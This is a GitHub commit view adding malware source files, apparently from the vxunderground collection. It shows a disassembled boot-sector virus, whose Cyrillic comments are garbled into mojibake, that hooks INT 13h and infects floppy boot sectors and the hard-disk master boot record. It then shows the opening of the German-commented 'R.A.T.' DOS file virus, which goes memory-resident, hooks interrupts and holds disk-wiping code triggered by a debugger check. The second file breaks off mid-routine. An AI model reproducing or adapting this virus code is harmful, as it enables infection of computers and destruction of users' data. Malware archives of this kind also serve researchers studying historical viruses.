Add files via upload

This commit is contained in:
vxunderground 2021-01-12 17:26:43 -06:00 committed by GitHub
parent d782d1d3f3
commit 60045f672b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
23 changed files with 13675 additions and 0 deletions

View File

@ -0,0 +1,241 @@
jmp far ptr loc_2 ;*(07C0:0005)
jmp loc_8 ; (00A1)
data_27 db 0
data_28 dd 0F000EC59h
data_29 dd 9F8000E4h
data_30 dd 07C00h
;-----------------------------------------------------------------------------
; ‚µ®¤­  ²®·ª  ­  INT 13h
;-----------------------------------------------------------------------------
push ds
push ax
cmp ah,2 ; €ª® ´³­ª¶¨¿²  ¥ ¯®-¬ «ª  ®²
jb loc_3 ; 2 ¨«¨ ¯®-£®«¿¬  ¨«¨ ° ¢­ 
cmp ah,4 ; ­  4 ¨§¯º«­¿¢  ­ ¯°° ¢® INT 13h
jae loc_3
or dl,dl ; “±²°®¨±²¢®²® ¥ A ?
jnz loc_3
xor ax,ax ; Zero register
mov ds,ax
mov al,byte ptr ds:[43Fh] ; <20>°®¢¥°¿¢  ¤ «¨ ¬®²®°  ­ 
test al,1 ; A ¥ ¢ª«¾·¥­
jnz loc_3 ; Jump if not zero
call sub_1 ; Ž¯¨² ¤  § ° §¿¢ 
loc_3:
pop ax
pop ds
jmp cs:data_28 ; (6B8E:0009=0EC59h)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
push bx
push cx
push dx ; ‡ ¯ §¢  °¥£¨±²°¨²¥
push es
push si
push di
mov si,4
loc_4:
mov ax,201h
push cs
pop es
mov bx,200h
xor cx,cx ; Zero register
mov dx,cx
inc cx
pushf
call cs:data_28 ; —¥²¥ BOOT ±¥ª²®° 
jnc loc_5 ; Jump if carry=0
xor ax,ax ; <20>°¨ £°¥¸ª  °¥ª «¨¡°¨° 
pushf ; ³±²°®¨±²¢®²®
call cs:data_28 ; (6B8E:0009=0EC59h)
dec si
jnz loc_4 ; <20>° ¢¨ 4 ®¯¨² 
jmp short loc_7 ; ˆ§µ®¤
nop
loc_5:
xor si,si ; Zero register
mov di,200h
cld ; Clear direction
push cs
pop ds
lodsw ; <20>°®¢¥°¿¢  ¤ «¨ ¥ § ° §¥­
cmp ax,[di] ; ¯°®·¥²¥­¨¿ ¤¨±ª
jne loc_6
lodsw
cmp ax,[di+2]
je loc_7 ; €ª® ¥ ¨§«¨§ 
loc_6:
mov ax,301h
mov bx,200h ; <20>°¥¬¥±²¢  BOOT
mov cl,3
mov dh,1
pushf
call cs:data_28
jc loc_7 ; Jump if carry Set
mov ax,301h
xor bx,bx ; ‡ ¯¨±¢  ¢¨°³± 
mov cl,1
xor dx,dx
pushf
call cs:data_28
loc_7:
pop di
pop si
pop es ; ‚º§±² ­®¢¿¢  °¥£¨±²°¨²¥
pop dx
pop cx
pop bx
retn
sub_1 endp
loc_8:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov sp,7C00h
sti ;
mov ax,word ptr ds:[4Ch] ; <20>®±² ¢¿ ¢ AX ¢¥ª²®°  ­  INT 13H
mov word ptr ds:[7C09h],ax ; ‡ ¯ §¢  £® ­  ®²¬¥±²¢ ­¥ 9h
mov ax,word ptr ds:[4Eh] ; ‚§¥¬  ±¥£¬¥­²  ­  INT 13H
mov word ptr ds:[7C0Bh],ax ; ‡ ¯ §¢  £® ­  ®²¬¥±²¢ ­¥ Bh
mov ax,word ptr ds:[413h] ; <20> ¬ «¿¢  ­ «¨·­ ²  ¯ ¬¥² ± 1K
dec ax
dec ax
mov word ptr ds:[413h],ax
mov cl,6
shl ax,cl
mov es,ax ; ‡ °¥¦¤  ¢ ES ­ ©-¢¨±®ª¨¿  ¤°¥±
mov word ptr ds:[7C0Fh],ax ; ­  ª®©²® ±¥ ¯°¥¬¥±²¢ 
mov ax,15h
mov word ptr ds:[4Ch],ax ; INT 13H ‘Ž—ˆ ŽŒ…<E2809A>… 15H Ž’
mov word ptr ds:[4Eh],es ; <20>Ž—€ŽŽ Œ“
mov cx,1B8h
push cs ;CS = 7C0h = DS
pop ds
xor si,si
mov di,si
cld
rep movsb ; <20>°¥±²¢  1B8h ¡ ©² 
jmp cs:data_29 ; <20>°¥µ®¤ ­  ±«¥¤¢ ¹ ²  ¨­±²°³ª¶¨¿
mov ax,0
int 13h ; <20>¥ª «¨¡°¨°  ¤¨±ª 
xor ax,ax ; Zero register
mov es,ax ; ES = AX = 00h
mov ax,201h ; “±² ­®¢¿¢  ¯ ° ¬¥²°¨ § 
mov bx,7C00h ; § °¥¦¤ ­¥ ­  BOOT
cmp cs:data_27,0 ; <20>°®¢¥°¿¢  ´« £ §  ³±²°®¨±²¢®
je loc_9 ; <20>°¥µ®¤ ¯°¨ Flopy disk
mov cx,7
mov dx,80h
int 13h ; ‡ °¥¦¤  BOOT
jmp short loc_12 ; (014E)
nop
loc_9:
mov cx,3
mov dx,100h
int 13h ; ‡ °¥¦¤  BOOT
jc loc_12 ; Jump if carry Set
test byte ptr es:[46Ch],7 ; <20>°®¢¥°¿¢  ¤ «¨ ¤  ¤ ¤¥
jnz loc_11 ; ±º®¡¹¥­¨¥
mov si,189h ;
push cs
pop ds
loc_10:
lodsb ; ’º°±¨ ª° ¿² ­  ±²°¨­£ 
or al,al
jz loc_11 ; €ª® ­¥ ¥ ª° ¿ ¨§¢¥¦¤  ±¨¬¢®«
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_10 ; (011D)
loc_11:
push cs
pop es
mov ax,201h ; Ž¯¨²¢  ±¥ ¤  ·¥²¥ ®² ²¢º°¤ ¤¨±ª
mov bx,200h ; ª ²® ¯®¬¥±²¢  ¯°®·¥²¥­®²® ®²
mov cl,1 ; ®²¬¥±²¢ ­¥ 200h
mov dx,80h
int 13h ; Disk dl=drive #: ah=func a2h
; read sectors to memory es:bx
jc loc_12 ; €ª® £°¥¸ª  ? -> ˆ§µ®¤
push cs
pop ds
mov si,200h
mov di,0
lodsw ; <20>°®¢¥°¿¢  ¤ «¨ ±º¢¯ ¤  ± ­ · «®²®
cmp ax,[di] ; ­  ¢¨°³± 
jne loc_13 ; €ª® ­¥ ¯°¥µ®¤ §  § ° §¿¢ ­¥
lodsw
cmp ax,[di+2]
jne loc_13
loc_12:
mov cs:data_27,0 ; (6B8E:0008=0)
jmp cs:data_30 ; ˆ§¯º«­¿¢  BOOT
loc_13:
mov cs:data_27,2 ; <20>®±² ¢¿ ³ª § ²¥« ²¢º°¤ ¤¨±ª
mov ax,301h
mov bx,200h ; <20>°¥¬¥±²¢  BOOT ¢ ±¥ª²®° 7
mov cx,7 ; ±²° ­  0
mov dx,80h
int 13h
jc loc_12 ; <20>°¨ £°¥¸ª  ¨§¯º«­¿¢  BOOT
push cs
pop ds
push cs
pop es
mov si,3BEh ; Œ¥±²¨ partition table
mov di,1BEh
mov cx,242h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; ‡ ¯¨±¢  ± ¬¨¿² ¢¨°³±
inc cl
int 13h ; Disk dl=drive #: ah=func a3h
; write sectors from mem es:bx
jmp short loc_12 ; Ž²¨¢  ¤  ¨§¯¨«­¿¢  BOOT
;------------------------------------------------------------------------------------------
; Ž² ²³ª ­ ² ²ª ±  ²¥ª±²®¢¥
;------------------------------------------------------------------------------------------
pop es
pop cx
db 6Fh
jnz $+74h ; Jump if not zero
and [bx+si+43h],dl
and [bx+di+73h],ch
and [bp+6Fh],ch
ja $+22h ; Jump if above
push bx
jz $+71h ; Jump if zero
db 6Eh
db 65h
db 64h
and [bx],ax
or ax,0A0Ah
add [si+45h],cl
inc di
inc cx
dec sp
dec cx
push bx
inc bp
xor al,[bx+di]
add al,32h ; '2'
add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0)
add ax,132h
db 72 dup (0)


View File

@ -0,0 +1,928 @@
TITLE R.A.T. [R]iots [A]gainst [T]echnology !!
;(c) 1992 by the Priest und DR. ET.
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Variablen-Vereinbarungen: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ANZBYTES EQU VIR_END-VIRUS ;Ä¿
; ÚÄÙ ÀÄ¿ ³
; Ende des Virus Start des Virus ³
; 
; L„nge von [R].[A].[T]., Anzahl Bytes zwischen VIR_END und VIRUS
;
FAKTOR EQU 100H+8 ;ÄÄ> Anpassungsfaktor, relativ zur Adresse Null
; ÀÄ Programm-Offset
; ÚÄ> Maximale gr”sse der zu...
MAXGR EQU 0FFFFH-(ANZBYTES+100H+20H) ;ÄÙ ...infizierenden Dateien
; Offset 100H ÄÄÙ ³
; Stack ÄÄÙ
;
BUFSIZE EQU IMMUN-VIR_END ;ÄÄ> Gr”áe des Ausgelagerten RAM
;
MEM_ALLOC EQU (ANZBYTES+BUFSIZE)/10H+1 ;ÄÄ> In Paragraphen zu 16 Bytes
; 
; ÀÄ L„nge des residenten Virus
;
MCB_PSP EQU 1 ;ÄÄ> Zeiger auf den zum Prog geh”renden PSP
MCB_SIZE EQU 3 ;ÄÄ> L„nge des zum MCB geh”renden Speichers
; 
; ÀÄ Alles Zeiger auf die verschiedenen MCB-Eintr„ge...
;
PSP_MEM EQU 2 ;ÄÄ> Beinhaltet (im PSP) die Endadresse des durch
; das Programm belegten Speichers!
;
TNT_WORD EQU "sM" ;ÄÄ> TNT- und CPAV-Immun-Kenn-Bytes ("Ms"Dos).
ID_WORD EQU "Vi" ;ÄÄ> Kenn-Bytes des "Vi"rus.
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º PUSHALL: Regs auf dem Stack sichern: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PUSHALL MACRO ;Alle REGs auf dem STACK sichern
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
PUSH BP
ENDM
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º POPALL: Reg vom Stack holen, gepushten Regs restaurieren º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
POPALL MACRO ;Alle REGs vom STACK zur<75>ckholen
POP BP
POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
POPF
ENDM
;==============================================================================
CODE SEGMENT PARA 'CODE'
ASSUME CS:CODE, DS:CODE, ES:CODE
ORG 100H
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Infiziertes Host-(Vor-)programm º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
START: JMP VIRUS ;Sprung zum Virus
NOP ;Mach die 3 BYTES voll
MOV AX,4C00H ;...dann das
INT 21H ;Prog beenden!
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Start des Virus-Codes: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ OFFSET des Virus feststellen, SEGMENT-Register setzen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
VIRUS: CALL IP_TEST ;IP herausfinden, jetzt auf dem STACK!
IP_TEST: POP BP ;jetzt IP in <BP>
SUB BP,3 ;<BP> auf den Anfang des Virus...
PUSH DS ;<DS> sichern (und somit auch <ES> !!!)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Debugger-Test: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
XOR AX,AX ;<DS> auf...
MOV DS,AX ;...NULL setzen
LES BX,DS:[4] ;<DS> und <BX> mit Vektor von INT 1
CMP BYTE PTR ES:[BX],0CFH ;Zeigt der Vektor auf einen IRET?
JZ NO_BUG ;NEIN --> NO_BUG!
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Debugger ist gerade aktiv, tod der FAT, und dann nen Reset! ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV BYTE PTR ES:[BX],0CFH ;INT 1 erst mal auf nen IRET!
MOV AX,0380H ;Ersten...
MOV DX,0080H ;...128 Sektoren...
MOV CX,0001H ;der Festplatte 1...
;INT 13H ;...<2E>berschreiben
MOV AX,0381H ;Und die 2. Platte...
;INT 13H ;...auch noch!
JMP DWORD PTR DS:[19H*4] ;JMP zur RESET-Routine (INT 19H) !
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ SEG-REGs + Flags setzen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
NO_BUG: PUSH CS ;<DS> und <ES> auf <CS> setzen:
POP DS ;<-- (s.o.)
PUSH CS ;<-- (s.o.)
POP ES ;<-- (s.o.)
CLD ;Aufsteigend (Stringmanipulation)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ COM- oder EXE-Strategie: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CMP BYTE PTR CS:[OFFSET COMEXE-FAKTOR+BP],1 ;COM oder EXE zum beenden
JZ EXE_STRT ;--> EXE-Konform starten
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ COM: Start-BYTES des Hostprogs restaurieren, r<>cksprung setzen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV WORD PTR CS:[OFFSET HOST_SEG-FAKTOR+BP],CS ;SEG auf <CS>
MOV SI,OFFSET PUFFER-FAKTOR ;Quelle
ADD SI,BP ;OFS anpassen
MOV DI,100H ;Ziel
MOV CX,3 ;3 Durchl„ufe
REP MOVSB ;Kopieren!
JMP TEST_VIR ;--> TEST_VIR
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ EXE: R<>cksprung zum Host vorbereiten: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
EXE_STRT: MOV AX,CS ;Aktuelles <CS>
EXE_SEG: SUB AX,0 ;R<>cksprung vorbereiten (SEG)
MOV CS:[HOST_SEG-FAKTOR],AX ;Differnez zw. Virus-<CS> und Host-<CS>
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ T E S T : Schon installiert? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
TEST_VIR: MOV DX,ID_WORD ;ID_WORD in <DX>
MOV AH,30H ;DOS Versionsnummer ermitteln
INT 21H ;Pr<50>f-Int aufrufen
INC DX ;Erh”hen...Installiert?
JNZ MEM_TEST ;NEIN --> MEM_TEST
F_ENDE: JMP ENDE ;JA --> ENDE
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Resident MACHEN des Virus º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
MEM_TEST: MOV AH,48H ;RAM-Speicher reservieren
MOV BX,MEM_ALLOC ;Ben”tigte gr”áe...
INT 21H ; --> O.K. ?... (dann SEG in <AX>)
JNC ALLOC_OK ;JAAA --> MEM_ALLOC
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Vom HOST-Programm Speicher klauen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
POP AX ;<DS> vom STACK in <AX>
PUSH AX ;<DS> wieder sichern
DEC AX ;<ES> auf den MCB...
MOV ES,AX ;...zeigen lassen
MOV BX,WORD PTR ES:[MCB_SIZE] ;GrӇe des Speicher-Blocks ermitteln
SUB BX,MEM_ALLOC+1 ;Speicher weniger MEM_ALLOC
POP ES ;<ES> wieder auf...
PUSH ES ;...<DS> setzen und <DS> wieder sichern
MOV AH,4AH ;Gr”áe eines Speicherbereiches „ndern
INT 21H ;<BX>=neue GrӇe / <ES>=SEG des RAM-Blocks
JC F_ENDE ;Geht nich --> ENDE
MOV AH,48H ;RAM-Speicher reservieren
MOV BX,MEM_ALLOC ;Ben”tigte gr”áe...
INT 21H ; --> O.K. ?... (dann SEG in <AX>)
JC ENDE ;Schade --> ENDE
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ PSP-Eintrag (verf<72>gbarer Speicher) des Hosts aktualisieren: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ALLOC_OK: SUB WORD PTR ES:[PSP_MEM],MEM_ALLOC+1 ;belegten Speicher minus Virus
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ SEG-Adr des reservierten Speichers in <ES> ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV ES,AX ;<ES> auf den reservierten Speicher-
;bereich (Funktion 48H / INT 21H)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus in den SPEICHER kopieren: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV SI,BP ;Quelle, auf den Anfang des Virus! [DS:SI]
XOR DI,DI ;Ziel (gerade reservierter MCB) [ES:DI]
MOV CX,ANZBYTES ;ANZBYTES Durchl„ufe!
REP MOVSB ;Kopieren!
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Speicher als belegt kennzeichnen, Owner (SEG-Adr des zugeh”rigen PSP): 8 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
DEC AX ;<AX>=Reservierter Speicher, jetzt MCB
MOV DS,AX ;<DS> zeigt auf MCB vom allocierten RAM
MOV WORD PTR DS:[MCB_PSP],8 ;Speicher als belegt gekennzeichnet
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ AKTIV-Flag (Byte) auf NICHT AKTIV!!! ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV BYTE PTR ES:[OFFSET AKTIV-FAKTOR],0 ;Aktiv-FLAG auf Null!!!
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Vektoren umbiegen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
PUSH ES ;<DS> auf den neu reservierten...
POP DS ;...Speicher setzen... (<ES>!!!)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Alten INT 13H merken: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AX,3513H ;Vektor von INT 21 lesen
INT 21H
MOV WORD PTR DS:[OFFSET ALT13-FAKTOR],BX ;Alten Vektor sichern
